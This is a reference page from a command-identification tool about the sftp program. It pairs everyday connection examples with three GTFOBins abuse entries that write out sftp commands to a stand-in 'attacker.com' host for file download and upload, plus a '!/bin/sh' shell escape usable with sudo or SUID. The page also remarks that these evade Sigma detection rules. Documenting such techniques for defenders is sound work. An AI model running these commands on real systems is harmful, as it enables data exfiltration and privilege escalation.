Identifier / Programs / Linux and Unix
sftp
Secure File Transfer Program. Interactive program to copy files between hosts over SSH. For non-interactive file transfers, see scp or rsync. tldr-pages
GTFOBins download, shell, upload 3 documented commands
How sftp is abused
download
shell
upload
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for sftp.
3 documented commands
download unprivileged, with sudo, as SUID
sftp user@attacker.com
get /path/to/input-file /path/to/output-fileshell unprivileged, with sudo, as SUID
This still requires a successfull connection to the server.
sftp user@attacker.com
!/bin/shupload unprivileged, with sudo, as SUID
sftp user@attacker.com
put /path/to/input-file /path/to/output-fileNone of the 3 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for sftp. The identifier reads the line of each that runs sftp.
Everyday use
Connect to a remote server and enter an interactive command mode
sftp remote_user@remote_hostIdentifyConnect using an alternate port
sftp -P remote_port remote_user@remote_hostIdentifyConnect using a predefined host (in ~/.ssh/config)
sftp hostIdentifyNone of the 3 examples the identifier reads matches GTFOBins abuse or trips a Sigma process-creation rule.